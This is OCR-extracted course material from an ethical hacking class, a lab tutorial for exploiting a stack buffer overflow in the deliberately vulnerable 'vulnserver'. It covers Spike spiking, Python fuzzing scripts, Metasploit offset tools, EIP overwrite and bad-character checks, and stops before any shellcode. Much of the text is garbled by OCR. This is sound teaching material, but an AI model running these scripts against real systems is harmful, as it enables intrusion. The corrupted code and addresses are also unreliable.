ISNS 6208: Ethical Hacking. NM-AIST

Exploiting the buffer overflow

In this tutorial, we will be targeting vulnerable software called “vuinserver.” It is a
Windows-based threaded TCP server application designed for exploitation purposes.
This product is intended for the most part as a tool for learning how to discover and use
buffer overflow bugs. Each of the flaws it contains is inconspicuously unique
concerning the others, requiring somewhat different methods to deal with when writing
the exploit. To download this software, visit the following web

page: ‘“bttp:/ [ www.thegreycorner.comr/ 2010/ 12/ introducing-vulnserver. bty or

http:/ [ thegreycorner.com/ vulnserver.hinl.

Locate the “‘vulnserver.exe” executable and run it as administrator.
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The “vulnserver” will start the active session and wait for incoming connections.


http://www.thegreycorner.com/2010/12/introducing-vulnserver.html

Starting vulnserver version 1.60
Called essential function dll version 1.00
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This is vulnerable software?
Do not allow access from untrusted systems or networks?

Waiting for client connections...

Another essential tool that we need to download is called “Tmmunity Debugger.” 1t 1s a
straightforward application worth having when you need to write exploits, analyze

malware, and reverse engineer Win32 binaries.

The software comes with an intuitive graphical interface and with a command-line, as
well. To download Immunity Debugger, visit

the “Dttps:/ [ www.immunityine.com/ products/ debugger/ " website  and  click  on “Download

Immunity Debugger Here!” link.
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Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse
engineer binary files. It builds on a solid user interface with function graphing, the industry’s first
heap analysis tool built specifically for heap creation, and a large and well supported Python API

for easy extensibility.

Download

Download [mmunity Debugger Here!

Once you install the software, run it as administrator.


https://www.immunityinc.com/products/debugger/

vulnserver Host Name: IEWINT
11.0:9600:18860

Starting vulnserver version 1.60

Called essential function dll version 1.080
This is vulnerable software?
Open Do not allow access from untrusted systems

Troubleshoot compatibility Waiting for client connections...
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From the Immunity Debugger main window, click on the “Fik”tab and select

the “Attach” option.
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A small window will pop-up asking you to select a specific process that you want to

B

OB X P I WHHENS 1 emtwhcPkbzr.s?? IRl

process to attach

PID Name Service

Listening Wl indow Path

UBox TrayDnDlnd

wmand handling wind

DWM Mot ification Window

DHHODMN B BDE

WLMS

Tt ke ket ek bt ) ) O
R B L e e L UL (]

B
05

WinDefend

e b
MSCTFIME UI

It will embed the running process of the vulnerable software into the debugger interface.

To start running the debugger, click on the play button.



File View Debug Plugins Immlib Options Window Help Jobs
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77483C49 ~| Registers (FPU)

77483C4A NOP EAX 7FFDEBSS

77483C4B NOP 88800000

77483C4C NOP 774EEC83 ntdll.DbgUiRemoteBreakin
77483C4D NOP 80800000

77483CHE NOP O182FF5C

77483CHF NOP 0182FF88

77483058 PUSH EDI 98800008

77483051 8B7C24 6C MOU EDI,DWORD PTR SS:[ESP+C] 90000000

77483055 8BS424 08 MOU EDX,DWORD PTR SS:[ESP+8]

77483059 €762 00000668  MOU DWORD PTR DS:[EDX],8 77483Ch9 ntdll.77483CH9

77483C5F  897a 04 HOU DWORD PTR DS:[EDX+4],EDI ES 0023 32bit O(FFFFFFFF)
77483062 OBFF OR EDI,EDI 1 €S 001B 32bit O(FFFFFFFF)
77483C64 74 1E JE SHORT ntdl1.77483C84 SS 0023 32bit O(FFFFFFFF)
77483C66 83C9 FF OR ECX,FFFFFFFF DS 0023 32bit B(FFFFFFFF)
77483C69 33CH XOR EAX,EAX FS 0803B 32bit 7FFDEGOB(FFF)
77483C6B  F2:AE REPNE SCAS BYTE PTR ES:[EDI] &S 0000 NULL

77483C6D F7D1 NOT ECX

77483C6F 81F9 FFFFOO88  CHP ECX,BFFFF LastErr ERROR_SUCCESS (88000888)
77483C75 76 05 JBE SHORT ntd1l.77483C7C -

77483C77 B9 FFFF0000 MOU ECX, OFFFF 08006246 (NOSHB;E;BE; NS PESGESLE)
77483C7C  66:894A 02 HOU WORD PTR DS:[EDX+2],CX enpty

7748380 DEC ECX enpty

77483C81 H MOU WORD PTR DS:[EDX],CX empty
77483C84 POP EDI empty

77483085 RETN 8 enpty
77483088 PUSH EDI enpty

77483089 8B7C24 OC MOU EDI,DWORD PTR SS:[ESP+C] enpty

77483C8D 8B5424 08 MOU EDX,DWORD PTR SS:[ESP+8] enpty

77483091 €702 00000000  MOU DWORD PTR DS:[EDX],0 3210
77483097 897 04 MOU DWORD PTR DS:[EDX+4],EDI 9000 Cond 8 0 8 8 Err

77483C9A OBFF OR EDI,EDI FCW 827F Prec NEAR,53 HMask
77483C9C JE_SHORT ntd11.77483CBC

Address |[Hex dump [abrigaiy 774EECBF ,',iylu RETURN to ntdll.774EECBF from ntdll.DbgBreakP
864030600 i B182FF68 76DB823B ;EUv
860403008 B182FF64 00066000 ....
66403610 B182FF68 00006000 .
864030618 i B182FF6C 00066000
06403620 B182FF780 ©B182FF68
0640830628 EE B182FF74 00006000 <
006403030 & 0182FF78 0182FFC4 ngl Pointer to next SEH record
004083038 . B182FF7C 7746E355 UaFw SE handler
80403040 o B182FF80 BO137E6B k™I,
80403048 = 0182FF84 00006000 .
864030650 g B182FF88 O182FF%4
86483058 E: B182FF8C | 7685EF6C 11 |v RETURN to kernel32.7685EF6C
006403660 W 0182FF98 [00000000 «
8 B182FF94 _B182FFD4

1 — Spiking

Spike is a part of the Kali distribution. It is a program that sends created packages to an
application to make it crash. Spike can send both TCP and UDP packages, and with the
assistance of Spike, we can find vulnerabilities in applications. In this part, we will

demonstrate the usage of Spike against “vuinserver.”

Start “vulnserver” on  Windows  machine, and On  Kali Linux, connect

to “vulnserver” with “netcat.” By detault, “yulnserver” runs on port 9999.

Ex: (root@kali:~# nc-ny 10.10.10.4 9999).

Then type “HEILP” to list the available commands.



root@root:~# nc -nv 10.10.10.4 9999
(UNKNOWN) [10.10.10.4] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
HELP

Valid Commands:

HELP

STATS [stat value]

RTIME [rtime value]

LTIME [ltime value]

SRUN [srun value]

TRUN [trun value]

GMON [gmon value]

GDOG [gdog value]

KSTET [kstet value]

GTER [gter value]

HTER [hter value]

LTER [lter value]

KSTAN [lstan value]

EXIT

To send TCP packages, we use the “generic_send_tp” command. The proper form to use
this command is as follows: (generic_send_tcp <IP address> <port number> <spike_script>
<SKIPVVAR> <SKIPSTR>).

Ex: (root@kali:~# generic_send_tcp).

root@root:~# generic send tcp

argc=1

Usage: ./generic send tcp host port spike script SKIPVAR SKIPSTR
./generic send tcp 192.168.1.100 701 something.spk 0 0
root@root:~#

In the event that the template contains more than one variable, we can test each one if
we specify different values for “SKIPI”.AR.” In our case, this is always zero. Spike sends

packages with alternating strings in place of variables. We can begin from a specific



point in the test if we indicate a value for “SKIPSTR.” If the value is zero, then Spike

starts from the beginning.

Spike scripts portray the package configurations of the communication. So we can tell
Spike, which parameters should test first. We need to check every command in

the “vulnserver” to see whether we can crash it or not.

For instance, the following template will try to send the ‘ST ATS” command with

various parameters.

Open up the text editor and type the following lines to test the ‘ST ATS” command and
save it as a “stats.spk’ file.

s_readline();

s_string(“STATS ”);

s_string_variable(*0”);

Upen v | Ed

s_readline();
s_string("STATS| ");
s_string variable("0");

Now we are ready to send our first packages with Spike. While our debugger is running,
type the following command with the spike script we created to test
the “ST_ATS” parameter.

Ex: (root@kali:~# generic_send_tcp 10.10.10.4 9999 stats.spk 0 0).

root@root:~# generic _send tcp 10.10.10.4 9999 stats.spk 0 O
Total Number of Strings is 681

Fuzzing

Fuzzing Variable 0:0

line read=Welcome to Vulnerable Server! Enter HELP for help.

Watch Immunity debugger and wait until the application crashes. If within a minute or

so it doesn’t crash, stop spiking the ‘ST ATS” parameter and try other commands.



| 6183FF5C 60666668 ....
0183FF60 00000660 ....
0183FF64 00006660 ....
0183FF68 00000660 ....
0183FF6C 00000660 ....
0183FF70 00000060 ....
8183FF74 00000000

0183FF78 00764830 OHu. ASCII "HELP"
8183FF7C 06661668 .1..

0183FF80 00000660 ....

0183FF84 00006660 ....

0183FF88 O183FF%4 Rl

0183FF8C 76ABEF6C 1i«v kernel32.76ABEF6C

0183FF90 00080064 d...
0183FF94 B183FFD4 Oijl
0183FF98 770E3618 167w ntdll.7708E3618
0183FF9C 00000864 d...
0183FFAB 76943689 NG6Hv
0183FFA4 0000068680 .
0183FFA8 000006608 ....
pd| 6183FFAC 000660664 d...

For the sake of time, we have tested some of them and found that
the “I'RUN" parameter is vulnerable, and it crashes within seconds. Open up the text
editor and type the following lines to test the “TRUN”command and save it as
a “trun.spk” file.

s_readline();

s_string(“I'RUN 7);

s_string_variable(*0”);

Upen v &

s readline();
s_string("TRUN ");
s _string variable("0");

Before we start sending packages, we have to set the environment. First, run
the “vulnserver” and Immunity debugger on the Windows machine as an administrator.

Then attach the “puinserver” running process to Immunity and run the debugger.

Now we can send TCP packages to spike the “pu/userver” and make it crash.

Ex: (root@kali:~# generic_send_tcp 10.10.10.4 9999 trun.spk 0 0).



Cond 8 6 8 8 Err
Prec NEAR,53 Mask

Cabigyas] 41414141 AAAA
B19DF9EL4 41414141 AAARA
B19DF9E8 41414141 AAAA
B19DF9EC 41414141 AAAA
B19DF9F0 41414141 AAAA
B19DF9F4 41414141 AAAA
B19DF9F8 41414141 AAAA
B19DF9FC 41414141 AAAA
O19DFAB8 41414141 AAAA
B19DFABL 41414141 AAARA
B19DFAG8 41414141 AAAA
B19DFABC 41414141 AAAA
B19DFA10 41414141 AAAA
B19DFA1S 1414141 AAAA
O19DFA18 41414141 AAAA
B19DFAMIC 41414141 AAAA
019DFA28 41414141 AAAA
B19DFA24 41414141 AAAA
019DFA28 41414141 AAAA
B19DFA2C 41414141 AAAA
M| 019DFA30 41414141 AAAA

'ss exception to program

Within a few seconds, we can see that the Immunity debugger has paused, and access

violation  occurred. It means that we have overwritten the “‘EIP,”
“EBP,” and “ESP” parts of the memory and can perform any buffer overflow from now

on1.

EE R WD oy corsomgservcesporoger

~| Registers (FPU) < < < < < < < ¢
EAX B019DF208 ASCII "TRUN /.../AARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY
ECX O01BE2428
EDX 8881CD37

EBXANAAAAZA

ESP 019DF9E@ ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY
EBP 41414141
EST 0000000

32bit O(FFFFFFFF)
801B 32bit B(FFFFFFFF)
8023 32bit BO(FFFFFFFF)
8023 32bit BO(FFFFFFFF)
803B 32bit 7FFDCOBO{FFF)
0666 NULL

LastErr ERROR_SUCCESS (0000606088)
000108246 (NO,NB,E,BE,NS,PE,GE,LE)

empty g
empty g
empty
empty
empty
empty
empty
empty g
32108
06686 Cond 8 8 8 8 Err
827F Prec NEAR,53 Hask

b 41414141 AAAA
] 519DF9ES 41414141 ARAA




2 — Fuzzing

The fuzzing method is very similar to spiking in the sense that we are going to be
sending multiple characters at a specific command and trying to crash it. The difference
is, with spiking, we were trying to do that to various parameters to find what’s
vulnerable. Now that we know the “I'RUN” parameter is not configured correctly, we

are going to attack that command specifically.

Before we start fuzzing the “vuinserver,” we have to set the environment. First, run
the “vulnserver” and Immunity debugger on the Windows machine as an administrator.

Then attach the “pulnserver” running process to Immunity and run the debugger.

Run your favorite text editor and type the following lines:

#!/ usr/ bin/ python

import sys, socket

[from: time import sleep

buffer = “A” * 100

while True:

1ry:

5 = socket.socket (socket AF_INET, socket.SOCK_STREAM)
s.connect((10.10.10.4°,9999))

s.send((‘TRUN / ./ + buffer))

s.close()

sleep(1)

buffer = buffer + “A” * 100

excepl:

print “Fuzzing crashed at Yos bytes” %o str(len(buffer))

sys.exit()



Open v A
#! /usr/bin/python

import sys, socket
from time import sleep

buffer = "A" * 100

while True:

try:
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect(('10.10.10.4',9999))
s.send(('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print "Fuzzing crashed at %s bytes" % str(len(buffer))
sys.exit()

Once you have done, save it as “Fuzzingl.py” and change the mod to an executable.
Ex: (root@kali:~# chmod +x Fuzzingl .py).

So, we are telling the python script to run specific modules and make a connection to
our Windows machine, which is in 10.10.10.4 (this changes) on port 9999. Then we will
send a vulnerable “I'RUN” command appending 100 “A4” characters to it, and this will

continue doing it until it crashes.

Let’s run our python script and monitor the Immunity debugger.
EXx: (root@kali-~# ./ Fuzzingl .py).

Once it crashes, terminate the script and note the approximate bytes size where it

crashed. In our example, it happened at 2200 bytes.

root@root:~# chmod +x Fuzzingl.py
root@root:~# ./Fuzzingl.py
“CFuzzing crashed at 2200 bytes
root@root:~# |j



3 — Finding the offset

In the previous section, we used a fuzzing script to find an approximate bytes site where
it crashed. Now, we need to find the offset where the “EIP” was overwritten because
that’s what we want to control from this point on. For this purpose, we need to generate
a unique pattern using the Metasploit tool and send it instead of “A4” characters. Then
based on the output, we can find out the offset using another Metasploit module. To
generate the unique pattern use the following command: (root@kali-~#
[ usr/ share/ metasploit-framework/ tools/ excploit/ pattern_create.rb -/ 2200). Here we will create a
random pattern with a length of 2200 bytes. Copy the patters and use them in the

tuzzing script.

root@root:~# /usr/share/metasploit-framework/tools/exploit/pattern create.rb -1 2200

AaOAalAa2Aa3AadAa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4AD5AD6AD7AD8ADIACOACIAC2AC3AC4AC5AC6ACTACBACOAdOAd1Ad2Ad3Ad4Ad5Ad6Ad7Ad8AdIAS
e7Ae8Ae9ATOAT1AT2AT3AT4ATSAT6AT7ATBATOAgOAgLAg2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AhOARIAN2AR3AR4ANSAh6AR7ARBAN9AIBAI1AI2AI3A14A15AI6A1
4Aj5Aj6Aj7Aj8A]9AKOAKk1AK2AK3AK4AKSAK6AK7AKBAKIATOATIAT2A13AT4A15A16A17A18A19AMOAMIAM2AM3AM4AMSAm6AM7 Am8AMOANGAN1AN2AN3ANn4A
A02A03A04A05A06A07A08A09APOAP1AP2AP3AP4AP5AP6AP7APSAPSAqOAQqLAQ2AQq3Aq4Aq5Aq6Aq7AgBAqOATrOAr1IAr2Ar3Ar4ArSAr6Ar7Ar8Ar9As0As1A
SOATOAT1At2At3At4At5At6At7At8At9AUOAULAU2AU3AU4AUSAUBAU7AUBAUSAVOAVIAV2AV3AV4AVE5AVEAVTAVBAVIAWOAWIAW2 Aw3AWSAWSAWEAWT AWSAwWY
6Ax7Ax8AX9AY0AY1Ay2Ay3Ay4Ay5Ay6Ay7AYy8AYy9Az0Az1AZz2Az3Az4Az5Az26Az7Az8Az9Ba0BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6H
Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9BTOBf1Bf2Bf3BTf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg
h1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BkOB1OBL
8B19BmOBm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm3Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0B0o1Bo2Bo3Bo4Bo5B0o6B07, pORR] Bp2Bp3Bp4Bp5Bp6Bp7Bp3H
Bq6Bq7Bq8Bq9BroBr1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4H pt9BuOBUlBu2Bu3Bu4Bu5B
v3Bv4Bv5Bv6Bv7Bv8BvIBwOBw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8BwIBXx0Bx1Bx2BXx3Bx4Bx5Bx6Bx7BXx8Bx9By0By1B 6By7By8By9Bz0Bz1Bz2Bz3
BCalCa2Ca3Ca4Ca5Ca6Ca7Ca8Ca9ChOCh1Cb2Ch3Ch4Chb5Ch6Ch7Ch8CHICcOCCc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc
Ce8Ce9CTOCTLCT2CF3CT4CF5CT6CT7CTBCTICgOCY1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9ChACh1Ch2Ch3Ch4Ch5Ch6(
j5Cj6Cj7Cj8Cj9CkOCk1Ck2Ck3Ck4Ck5Ck6Ck7Ck8CKICTOCTIIC1L2CT3C14C15C16CL7C18C19CMOCM1CM2Cm3C
2C03C04C05C06C07C08C09Cp0OCP1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9CqoCqlCq2Cq3Cq4Cg5Cq6Cq7Cq8Cq9CroCr
CtOCt1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9CuBCU1ICU2Cu3Cu4Cu5CubCu7Cu8Cu9CvoCv1Cyv2C
root@root:~# | |
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Open the “Fuzzingl.py” file in any editing tool and replace the “buffer = “A” * 100" part
with the offset pattern then save it. The script should look like this:



#!/ usr/ bin/ python

import 5ys, socket

offset=

“Aa0Aal Aa2Aa3AatAasAab.Aa7 Aa8AaIAVOALTIAL2ALIAD4ALS Ab6.AD7 ADEALIAc
0Ac1 Ac2A3AAAS Ac6.Ac7 Ac8AIAOAIN Ad2AAFAd4Ad5 Ad6Ad7 AdEALIAeOAeT A
e2Ae3 Aed Ae5Ae6.Ae7 Ae8AeIALNDAAALABARAALABAL ABAI A0 Ag1 Ag2A93 A4
A5 Ag6.A97 Ag8AgIADOALTAL2ADIADFALS A6 AD7 ADEANIAI0ATAi2Ai3A4Ai5Ai
6.Ai7 Ai8Ai9Aj0.A71.472A;3Ai4.A55.476. 477 Aj8A9IAROART AR2ARI AkFARS AkbART A
kEARIANAIIARLABARALAIAITAISAAmOAm 1 Am2Am3 Amd A5 Anb Am7 Am8
AmIAnOAn 1 An2An3 AndAn5An6An7 An8An9A00.A01.A02.A03A04.405A06.407A08Ao
9APOAP1AP2Ap3Ap4APS Ap6.Ap7 ApEApIAg0.Aq1.Ag2A93.Ag4A95A96.497 Ag8A99A
10Ar1Ar2 Ar3 ArdAr5 Ar6 Ar7 Ar8Ar9 As0As1.As2.A53A54.A55A56.A57 As8EAsIANALT1AL2
AAMAL A6 A7 AtSAIAuOAn1 Au2 Au3 Aud Aud Au6 An7 Au8AuI Av0Av1 Av2Av3.A
4 Av5 Av6 Av7 Av8 AvIAwOAw1 Aw2 Aw3 Awd Aw5 Aw6 Aw7 Aw8 Aw9 Ax0.Ax1Ax2Ax3A
x4 Ax5Ax6.Ax7 AxEAxIAYOAY1.Ay2Ay3Ay4Ay5.Ay6.Ay7 Ay8Ay9IAZ0A21.A22A3.A4A
D5 A26A27 A28A29Ba0BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7B
b8BbIBcOBc1Be2Be3Bed Be5Be6 Be7Be8 Be9BAOBA1Bd2Bd3Bd4Bd5 Bdo Bd7 BdS Bd9BeOBelBe2B
e3Be4Be5Be6 Be7 Be§ Be9BfUB)f1 Bf2Bf3Bf4Bf5 Bfo Bf7 BfS Bf9 Ba0Bg1 Bg2Bg3Bg4 Bg5 Bo6 Bg7 B8 Bg
9BhOBh1Bh2Bh3Bh4Bh5Bh6Bh7BhE BHIBiOB:1B:2Bi3Bi4Bi5Bi6 Bi7 Bi§ Bi9Bj0B)1B;2B;3 Bj4
B/5Bj6B;j7Bj8Bj9Bk0OBET BE2BE3Be4BLS5 BR6BL7BESEBLIBIOBI1B/2B/I3BMHB/5BI6BI7BISB/9
BriOBw21 B 2Bnz3 B4 B 5 B6 B 7 Bi8 Bin9BnOBn1Bn2Bn3BndBn5Bn6Bn7Bn8Bn9Bo0Bol
Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5 Bp6Bp7BpEBp9Bg0Bg1Bg2Bg3Bg4Bg5
Bg6Bq7Bg8Bq9Br0Br1 Br2Br3Br4Br5Br6 Br7 Br§ Br9Bs0Bs1Bs2Bs3Bs4Bs5 Bs6 Bs7Bs§ Bs9B#0B
t1Bt2Bt3Bt4Bt5Bt6 Bt7Bt8 Bt9BuOBu1Bu2Bu3Bud Bu5But Bu7 Bu8 Bu9By0Bv1Bv2Bv3Bv4Bv5
BvoBv7 Bv8 Bv9 BiwOBw1Bw2Bw3 B4 Bw5Bw6 Bw7 Bw8 Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7B
x8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4 B35 Bz6Bz7Bz8Bz9Ca0CalC
a2Ca3CadCasCabCa7Ca8Ca9ChOCHT1Ch2CH3Ch4CH5 ChoCh7 ChECHICOCeT Ce2Ce3Cod Ce
5Ce6Ce7Ce8CICAOCAT CA2CA3CA4Cd5Cdo Cd7 Cd8Cd9Ce0Cel Ce2Ce3CedCe5Ce6Ce/CeSC
eICHOCHT CLRCBCACHCIoCH CIECHIC0CT Cg2Cg3Co4Cg5Ca6Cg7 Ca8Cg9CHOCHT Ch2ChH3
ChCh5ChoCh7 Ch8Ch9Ci0Ci1 Ci2Ci3Ci4Ci5 Cio Ci7 Ci8Ci9C0C 1 Ci2C3CAC5Ci6Ci7 (8
CI9CROCETCR2CEICRACES CR6CR7CRECRICIOCITCI2ZCIBCHCH Cl6CL7CISCIICHOCm T



Cm2Cm3 Crmd Cm5 Cmb Crm7 Crn8 CrnICn0Cn1 Cn2Cn3Cnd Cns5 Cno Cn7 Cn8Cn9Co0Col1Co2C
03C04Co5Co6C07Co8Co9CpOCHTCp2CHI3Cp4CH5Cp6Cp7Cp8CHpICq0Cq1Cq2Cq3Cq4Cq5
Cg6Cq7Cq8Cq9Cr0Cr1Cr2Cr3CrdCr5CroCr7 Cr8CrICs0CsT1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9
CHOCH Cr2Ct3CHCH Cto Ct7 CI8CtICu0Cu1 Cu2Cu3 Cud Cub Cu6 Cu7 Cu8 Cu9Cv0Cr1 Cv2C”
ry:

s = socket.socket (socket. AF_INET, socket.SOCK_STREAM)

s.connect((10.10.10.4°,9999))

s.send((TRUN / .2/’ + offset))

s.close()
excepl:
print “Error connecting to server”
sys.exit()
Open + A

#! /usr/bin/python
import sys, socket

offset =
"AaPAalAa2Aa3AadAasSAabAa7AaB8Aa9AboAb1Ab2Ab3Ab4ADSAD6AD7ADBADOACBACIACZACIACAACSACBAC

try:

= socket.socket(socket.AF_INET, socket.SOCK STREAM)
.connect(('10.10.10.4"',9999))

.send{(('TRUN /.:/' + offset))

.close()

"nn i 1 »n

except:
print "Error connecting to server"
sys.exit()

Before we execute the python script, we have to set the environment again. Once

everything is running correctly, execute the script.

Ex: (root@kali:~# ./ Fuzzingl py). /] remember to use different name for every script you edit



After executing the python script, the “vuluserver” program will crash and display the
overwritten value of the “EIP” (386F4337). Write it down somewhere because we will

need to use it in the next step to finding the offset.

T s 8§ i Code auditor and software assessment specialist needed

4| Registers (FPU) < < < < < <
EAX B816CF208068 ASCII "TRUN /.:/AaBAa1Aa2Aa3Aal4AaSAabAa7AaB8Aa9AbBAb1Ab2AD
ECX 883E50D4
EDX 00060043
EBX 000000858
ESP B16CF9EB ASCII "Co9CpBCpiCp2Cp3CpuCp5Cp6Cp7Cp8Cp2CqACq1Cq2Cq3Cqily
EBP 6F43366F
ESI 0800660088
EDI 00060660008

EIP 386F4337 |

ES 0023 32bit B{FFFFFFFF)
CS 881B 32bit B{FFFFFFFF)
SS 8823 32bit B{FFFFFFFF)
DS 8623 32bit BO(FFFFFFFF)
FS 8083B 32bit 7FFDE®BB(FFF)
GS 8686 NULL

LastErr ERROR_SUCCESS (066860068)
EFL 8606106246 (NO,NB,E,BE,NS,PE,GE,LE)

STO empty g

ST1 empty g

ST2 empty

ST3 empty

ST4 empty

STS empty

ST6 empty

ST7 empty g

3218

FST 68668 Cond 6 8 8 8 Err
FCW 827F Prec NEAR,53 Mask

_:JB160F9EB 43396F43 Co9C

Now, we are going to use another Metasploit tool to find the exact match for our offset.

For this, use the following command with the same byte length and specity
the “EIP”value that we found.

EXx: (root@kali:~#/ usr/ share/ metasploit-framework/ tools/ exploit/ pattern_offset.rb -1 2200 -g
386F4337),

root@root:~# /usr/share/metasploit-framework/tools/exploit/pattern offset.rb -1 2200 -q 386F4337
[*] Exact match at offset 2003
root@root:~#



As you can see in the screenshot above, we managed to find the exact match for our

offset at 2003 bytes. Now it’s a time to overwrite the “EIP.”

4 — Overwriting the EIP

In the section, we will try to overwrite the “EIP” part of the memory. In the previous
example, we discovered that our offset was precisely in 2003 bytes. It means that there
are 2003 bytes right before we get to the “EIP.” “EIP” by itself is 4 bytes long memory
part, and here we will try to overwrite them. For this, we will need to modify our python

script and send 2003 “A4” characters to reach the “EIP”and then add 4 “B” characters

to overwrite it. Save the changes and run the script.

#1/ usr/ bin/ python

import 5ys, socket

shelleode = A" * 2003 + “B” * 4

ry:

5 = socket.socket (socket AF_INET, socket.S OCK_STREAM)
s.connect((10.10.10.4°,9999))

s.send((‘TRUN / .2/ + shellcode))

s.close()

excepl:

print “Error connecting to server”

sys.exit()



Open v A
#!/usr/bin/python

import sys, socket

shellcode = "A" ¥ 2003 + "B" * 4
try:
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect(('10.10.10.4"',9999))
s.send(('TRUN /.:/' + shellcode))
s.close()

except:
print "Error connecting to server"
sys.exit()

Once you execute the script, “vunserver” will crash, and the Immunity Debugger will stop

because of the access violation. When you examine the debugger’s output, you'll see
that “EBP”will be filled out with all “4"s (41414141) and the “EIP”with all “B’s
(42424242).

4| Registers (FPU) < < < < < < < < < < <
EAX O18DF266 ASCII "TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS
ECX 00805014
EDX 00000660
EBX 00000658

o

e won2uon

ES 0823 32bit B(FFFFFFFF)
CS 881B 32bit B(FFFFFFFF)
SS 080823 32bit B(FFFFFFFF)
DS 8823 32bit B{FFFFFFFF)
FS 083B 32bit 7FFDEBBB(FFF)
GS 8668 NULL

LastErr ERROR_SUCCESS (008000000)
886108246 (NO,NB,E,BE,NS,PE,GE,LE)

empty
empty
empty
empty
empty
empty
empty
empty g

66686 Cond 6 8 8 8 Err
027F Prec NEAR,53 Mask

| o18DF9E o I Y Y T I 1



It means that we can now control the “EIP” part of the memory, and instead of sending
a bunch of “4”or “B” characters, we can send a malicious shellcode to infect our target

computer and gain shell access.

5 — Finding bad characters

When generating a shellcode, we need to know what characters are bad or good for the
shellcode. We can check this by running all the hexadecimal characters through our
program and see if any of them displays differently. Before testing it, first, we need to
tind a list of “bad characters.” Open up your favorite browser and search for ‘finding
badchars with mona.” Click on the link “Find Bad Characters with Immunity Debugger and
Mona.py.”

File Edit View History Bookmarks Tools Help

@ & https://www.google.com/search?safe=strict&client=firefox-b-1-e&ei

GO g|€ finding badchars with mona Q

2 A ) videos &) Images QO Shopping B News i More Settings  Tools

About 4,930 results (0.44 seconds)

| Finding Bad Characters with Immunity Debugger and Mona.py — ...

Finding Bad Characters with Immunity Debugger and Mona.py .... Now restart War-FTP and
add the badchars variable to the attack string right after the 4 B's for ...

This particular website has already created a variable with all “bad characters” that we can

use in our python script.



@ @ hitps:/ibulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mena-py!

HOME SERVICES PRODUCTS PUBLIC SPEAKING MEDIA ACTIVITY

Manually checking for Bad Characters

Let's start without using any tools. The complete of hexadecimal characters we could pc

Ete bR ' \ X OO X OIAX 02\ X03AX04NXO5AX06XX07AX08AX09AX0aNX0bAX0cAX0dAX0e A X0 FAXA0NXIINXI2NXAI3NX14 N X15\X

UNX20NX21\X22\X23\X24\X25\X26\X27\X28\X29\x2a\X2b\X2c\X2d\ X2\ X2\ X30\X31\X32\ X33\ X34\ X35\ X36\X37\X38\X

UNXBONXE6INX62\NX63\X64\X65\X66\X67\X68\X69\X6a\X6bNX6C\X6dNX6ENXETFNXTONXTANXT2NXT3\NXTANXTSNXTENXTINXTB\X

we can use in our exgloit string. is to add this entire string to our exploit afts

A simple: if a bit tedious. way of checking which characters

ant to put the bad characters af

er the saved return pointer overwrite to ensure that any corruption due to bac

Copy the variable with “bad characters” and paste them in the python script we used

before. By default, the null byte “\x00” character acts up so we can remove it from the

variable right away. It’s recommended to put the “bad chars” variable after the characters

that cause the crash. If we start our attack string with “bad chars,” we might not get a

crash at all. Save the script and run it against the “vu/userver” while monitoring from

Immunity debugger.

Open ~

o *Fuzﬁ?ngy

#!/usr/bin/python

import sys, socket

badchars = "AX01\x02\x03\x04\x05\X06\Xx07\x08\x09\x0a\X0b\x0c\x0d\x0e\x0F\Xx10\x11\x12\X13\x14\ x15\x16\x 17\x 18\ x19\ x1a
"AX20\X21\X22\X23\ 24\ X25\Xx26\x27\x28\x29\ x2a\ x2b\ x2c\ x2d\ x2e\ x2 F\x30\x31\x32\ X33\ x34\x35\x36\x37\x38\x39\ x3a\x3b\x3
"\X41\x42\x43\ x44\ x45\x46\ x47\x48\x49\ x4a\x4b\ x4\ x4d\ x4e\ x4 T\ x50\ x51\x52\x53\x54\X55\x56\X57\x58\x59\x5a\x5b\x5Cc\ x5
"\X60\X61\X62\X63\X64\X65\X66\X67\X68\Xx69\x6a\X6D\X6C\X6d\Xx6e\X6T\X7O\XT7I\NX72\X73\X74\X75\X76\X77\X78\X79\x7a\x7b\x7
